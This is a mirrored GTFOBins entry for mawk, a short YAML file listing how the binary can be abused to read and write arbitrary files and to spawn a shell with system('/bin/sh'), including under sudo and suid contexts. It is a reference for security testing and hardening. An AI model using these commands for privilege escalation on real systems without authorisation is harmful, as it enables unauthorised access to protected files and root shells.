1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/mawk
2026-01-13 20:06:36 +01:00

26 lines
424 B
Plaintext

---
functions:
file-read:
- code: |-
mawk '//' /path/to/input-file
contexts:
sudo:
suid:
unprivileged:
file-write:
- code: |-
mawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
mawk 'BEGIN {system("/bin/sh")}'
contexts:
sudo:
suid:
shell: true
unprivileged:
...